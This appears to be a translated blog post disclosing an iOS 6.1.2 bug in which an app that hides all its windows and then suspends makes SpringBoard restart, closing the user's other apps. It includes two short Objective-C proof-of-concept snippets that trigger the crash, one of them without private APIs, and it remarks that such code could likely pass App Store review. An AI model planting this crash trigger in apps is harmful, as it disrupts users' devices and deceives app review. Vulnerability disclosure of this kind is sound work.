Back to Home

A program from a dozen lines crashes Springboard

iOS · the apple screen of death · with Jobs there was no such garbage

A program from a dozen lines crashes Springboard

    Yesterday, I accidentally stumbled upon such a vulnerability of iOS. Tested on iPhone 4, 4S and 5 with iOS 6.1.2.

    To reproduce a bug that causes SpringBoard to restart (which in turn leads to the cessation of all applications launched by the user), you need to do only two things:
    1. Hide all windows (i.e. objects UIWindow) in the application.
    2. Exit application


    Here is an example of a simple program that causes SpringBoard to restart. Paragraphs 1 and 2 are implemented through undocumented calls.

    // Декларирую два недокументированных вызова в виде категорий, чтобы избавится от warning'ов
    // Можно и без них, но Xcode будет ругаться
    @interface UIWindow (Undocumented)
    + (NSArray*) allWindowsIncludingInternalWindows: (BOOL)internalWindows onlyVisibleWindows:(BOOL)visibleWindows;
    @end
    @interface UIApplication (Undocumented)
    - (void) suspend;
    @end
    // Вот собственно суть уязвимости
    void RESPRING()
    {
    	NSArray *allWindows = [UIWindow allWindowsIncludingInternalWindows:YES
    													onlyVisibleWindows:NO];
    	for (UIWindow *window in allWindows) {
    		window.hidden = YES;
    	}
    	[[UIApplication sharedApplication] performSelector:@selector(suspend)
    											withObject:nil
    											afterDelay:0];
    }
    


    Moreover, I was able to reproduce this bug without using undocumented calls.

    Pay attention to the features:
    • No Jailbreak required
    • For playback does not require non-standard libraries, frameworks
    • Can be called without using undocumented calls


    This means that it is highly likely that applications that cause SpringBoard to restart (including the crash of all other applications) can easily go through the App Review and get into the AppStore.

    UPD The same without private APIs:

    @interface UIView (Extension)
    - (void) touchesBegan:(NSSet *)touches withEvent:(UIEvent *)event;
    @end
    @implementation UIView (Extension)
    - (void) touchesBegan:(NSSet *)touches withEvent:(UIEvent *)event
    {
    	self.window.hidden = YES;
    }
    @end
    

    1. Tap on the status bar
    2. Tap on the main window
    3. Press home

    UPD2 Corrected the title of the article, as, strictly speaking, only Springboard crashes, and not all iOS.

    Read Next